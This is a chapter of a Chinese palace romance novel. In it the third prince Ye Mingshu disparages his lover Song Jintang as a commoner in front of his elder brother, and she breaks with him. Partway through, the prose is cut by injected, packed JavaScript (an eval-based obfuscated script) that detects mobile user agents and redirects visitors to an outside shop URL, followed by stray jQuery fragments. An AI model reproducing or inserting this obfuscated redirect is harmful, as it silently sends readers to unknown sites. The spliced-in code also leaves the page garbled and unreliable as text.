一刻钟前。
叶明疏用帕子从白瓷盘里捏起一颗红彤彤的樱桃,送到二皇子叶明郁怀中的男孩面前,语气温柔,“小元来,吃颗樱桃。”
男孩四岁,是叶明郁的第一个儿子,养得胖乎乎的,性子躁,不耐烦地在叶明郁怀里动来动去,看见递过来的红樱桃,更是一把伸手打开,“不要不要!”
这个年纪的孩子正皮,下手没轻没重,一掌打落樱桃,叶明疏白皙的手腕也泛了红。
叶明郁忙歉意道:“哎哟,这孩子闹腾惯了,三弟莫在意。”
叶明疏笑了笑,毫不在意道:“怎么会,二哥难得来,我该高兴才是。”
叶明郁抱不住孩子,干脆把他放下了,任由他自己闹腾,转而道:“三弟说这话,做哥哥的我却不敢信呢。”
“这话如何说起?”叶明疏亲自添了一杯茶往叶明郁面前送。
叶明郁接过茶,轻叹一声,“你失踪那几个月,大姐可是担心坏了,特派人去寻你,可没想到你一回来就这么挤兑她一番,害得她昨日被母皇数落了足足一个时辰,这满朝文武怕是都看尽了她的笑话了。”
“什么?”叶明疏脸上闪过一丝懊恼,急忙解释:“二哥听我一言,我并不知道事情会变成这样,只是那日大姐姐突然闯了进来,说要搜府,我……我好歹也是皇子,若是真搜了府,我还有何颜面?就是顾着母皇还有父侍,我也不能啊……劳烦二哥替我和大姐姐解释一二,我并非此意。”
叶明郁有些嫌恶地躲开他伸过来的手,“也不是我不帮你,但你当真是大了,有了自己的主意,明知广朔王向来与我们不对付,你还去帮她?你让我如何帮你说的好话?”
他指的是叶明疏帮广朔王抓暗探一事。
叶明疏揪了揪帕子,委屈道:“我原以为大姐姐不明白我,但二哥定是能谅解我的,没想到却也是这般不分青红皂白将我质问一顿。”
“哎?”叶明郁面露不悦,“这从何说起?”
叶明疏刚想说话,腰间突然一紧,低头一看,一只肥胖的小手正拽着他腰间挂着的青莲玉佩,叶明疏想抽回来,“小元,这个不能……”
“我就要!爹爹我就要!”他拽着玉佩不肯放,眼瞧着就要躺在地上哭。
叶明郁额头青筋都跳了起来,催促道:“不是什么玩意儿就给他吧。”
“好……”叶明疏解下玉佩。
小孩子拿走在手上转了两圈,登时嫌弃起来,“这是什么,丑死了。”
叶明疏正想拿回来,只听“啪!”的一声,清脆的碎裂声,玉佩摔在地上,瞬间四分五裂。
“你这孩子,怎么什么都摔,当心伤着。”叶明郁把他拉过去查看一番,看似数落,实则关怀。
“对了,你方才要说什么?”
叶明疏攥了攥衣袖,脸上重新挂起笑意,压低声音道:“二哥以为那广朔王能成什么气候?不过是每日饮酒作乐,就算是央璃军打到了家门口,除了落荒而逃,一点法子都没有,偏皇祖父又如此疼爱她,定能保她性命无忧、半生无虞,届时你们能耐她何?”
叶明郁神色稍霁,觉得好像有点道理,“那又如何?”
“自然是引她入京啊,放在眼皮子底下,总好找错处不是?”叶明疏诚恳道:“二哥,我可是一心都向着你们的啊,毕竟我和父侍,常年受皇夫的照料,若没有你们,以我父侍的身份,早就被奸人毒害了,我这是诚心投诚,做的一切都是为了大姐着想,只是碍于广朔王盯着,不好同你们说,如今我把心里话告诉你,你可要替我和大姐多多说几句啊。”
叶明郁被他左一言右一语的说得有些发愣,想到什么后,立刻反应过来,“你若是真心投诚,那为何要招面首而不肯嫁人?”
“哎呀~”叶明疏有些不好意思地以帕掩面,“不瞒二哥,我不过是还年轻,还想再玩两年罢了。”
“玩儿?”叶明郁不太信,“若是玩儿?为何只选了那一个?怕是伺候不了弟弟吧?不然改日,我亲自为弟弟挑两个好的。”
叶明疏眼尾微挑,眼中透出不屑,“我是皇子,我喜欢谁便选谁,今日可以是她,明日也可以是别人,她不过一个贱民,讨个新鲜罢了,等劲儿过了,随手丢开便是,届时再请二哥给我多送几个好的,只怕哥哥别嫌烦才好。”
话落,叶明郁没接话了,而是朝着他身后看去,叶明疏疑惑地转过身,猝不及防地撞上一双冷若冰霜的眼眸。
棠……
他缓缓站起身,走出亭子,日光将他从阴影中剥了出来,照出眼睫下的晦暗。
“你怎么来了?”他还在笑。
宋锦棠没说话,只是冷着脸看着他。
叶明疏目光下移,落到她手上的锦鲤玉佩,问道:“这是给我的吗?”
他伸手欲夺,在即将触碰到时,那只手突然抬起,殷红的穗子从眼前划过,下一瞬,玉佩被砸入池中,溅起一圈水花,惊得池中的锦鲤登时四散开来。
“……”
空气死一般的沉寂,身后忽然传出一声嗤笑。
叶明疏脸上有些挂不住,怒道:“给你脸了?你……”
他话还没说完,宋锦棠已经转身走了,留他一人曝露在刺目的日光下。
叶明郁见没好戏看了,扯过身边的儿子,笑道:“三弟怕是有要事要忙,我就不多叨扰了,改日若得闲,定要去我府上坐坐才是。”
叶明疏叹息一声,“让二哥见笑了,我送送你。”
他把人送出园子,就让周叔去送了,见人走远后,这才加快脚步去追宋锦棠。
寝殿东暖阁,宋锦棠换回了自己的衣裳,简单收拾了下东西就出了门。
一抬头就瞧见跑过来的人影,她扭头朝另一边离去。
“棠棠!你别走!”
叶明疏跑得上气不接下气,一把拽住她的衣袖,头上的珠钗都歪了,断断续续问道:“你、你要去哪儿?”
宋锦棠看都没看他,“贱民,自然是要回贱民该回的地方。”
“我……”叶明疏一把拉住她,“你就这么走了?你什么意思?”
“不走,难道等着你玩腻了,再一脚把我踢开吗?”
宋锦棠垂眸看他,她的声音很冷,眼里没有了昔日的温情。
叶明疏紧张地一把抱住她,“你听我解释,我并非那个意思,实在是她们步步紧逼……你不知道,她们从来都是看不惯我的,若是……若是她们知道我是故意和她们作对,定然不会放过我,我说那些话,不过是为了周旋,不是有意折辱你……棠棠,你信我,我说的是真的……”
“周旋?”宋锦棠冷笑一声,一句一句重复。
“贱民。”
“讨个新鲜。”
“腻了便踢开。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750260|206732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“这些话都是从你嘴里说出来的,哪句是真?哪句是假?你和我说的话,前后都不一样,我到底该信哪句?”
叶明疏摇头,眼里染上红丝,大颗大颗的泪往下掉,“我没有骗你,这次是真的……”
“这次是真的,那上次呢?”宋锦棠垂眸看他,眼里满是失望,“上次并没有人逼你,你不也是那么说吗?三教九流、贱民,自然是配不上你三皇子了!”
她强硬地掰开叶明疏的手,大步离去。
“宋锦棠!”叶明疏嘶哑的声音在身后响起,“你不也是骗我吗?铁甲覆面宋副将,谁人不知宋锦棠,你从一开始也是在骗我,不是吗?你与我又有何区别?”
原来他早就知道了。
宋锦棠脚步一顿,心中压抑的怒火喷涌而出,猛地回身,“是!我确实也骗了你,可我对你的感情从来没有掺杂半分假意!你口口声声说心里有我,可转头就把我踹到泥里,叶明疏!你每次总有理由,你总叫我信你,可一转头,你就告诉我这是假的,这全都是假的!我又岂知……你对我的喜欢不是你装出来的?”
“不……不是的……”叶明疏小心地来扯她的衣袖,被她一把甩开,怯懦道:“棠棠,我真的是不得已,我没办法,我只能这么做!”
“好一个不得已!你骗我是不得已,你每日装得情深意切是不得已?你前一刻甜言蜜语,下一刻恶语伤人也是不得已?明明有那么多种方式可以选,可你偏偏选择了这一种!让我最伤心、最心痛,你让我怎么信你?又如何再敢信你?”
宋锦棠仰头咽泪,哽咽道:“我想为你找理由开脱,可怎么……都骗不过我自己。”
回首这些时日,宋锦棠只恨自己为什么会被他三言两语给蒙骗,明知道他是什么样的人,为什还要选择一次一次地相信?
她宋锦棠就这么贱?!
“棠棠……我对你的心意是真的,你别走……”叶明疏泪流满面地上前。
宋锦棠后退一步躲开,深吸一口气道:“叶明疏,就算你说的是真的又怎样?我都不想再听,不想再信,也不想知道了。你这种人就是这样朝三暮四,今日喜欢便可以捧上天,明日不喜欢了就随便践踏,你知道何为真心?又跟我谈什么情意?!”
她狠下心道:“从今往后,我不想再跟你有任何瓜葛。”
“你听我解释,我有我的苦衷……”
宋锦棠气极反笑,眉心凝着苦涩,“好啊,我理解,你有你的苦衷,我也有我的难处,那我们就此别过吧,反正我对你……不过也是一时兴起罢了,我宋锦棠今日栽了便栽了,是我识人不清,是我鬼迷心窍,我认,我都认!”
“三殿下,叶明疏,后会无期。”最后几个字,几乎是咬着牙说出来的。
话落,宋锦棠不再留恋,大步离去。
叶明疏急忙去追,可没跑两步就跌倒在地,地面磕着膝盖钻心的疼,被日光烘烤的地砖传来滚烫的热意,灼烧着发闷的胸口喘不上气。
眼中泪光模糊了视线,注视着宋锦棠的背影越走越远。
她走得飞快,一步都没回头。
镜竹见状,忙上前关心:“殿下……”
后面的话还没说,叶明疏眼里的泪光陡然转化成了怒意,扬声道:“让她走!本宫不差她一个!”
话喊完了,宋锦棠依旧没有回头,连脚步都没停。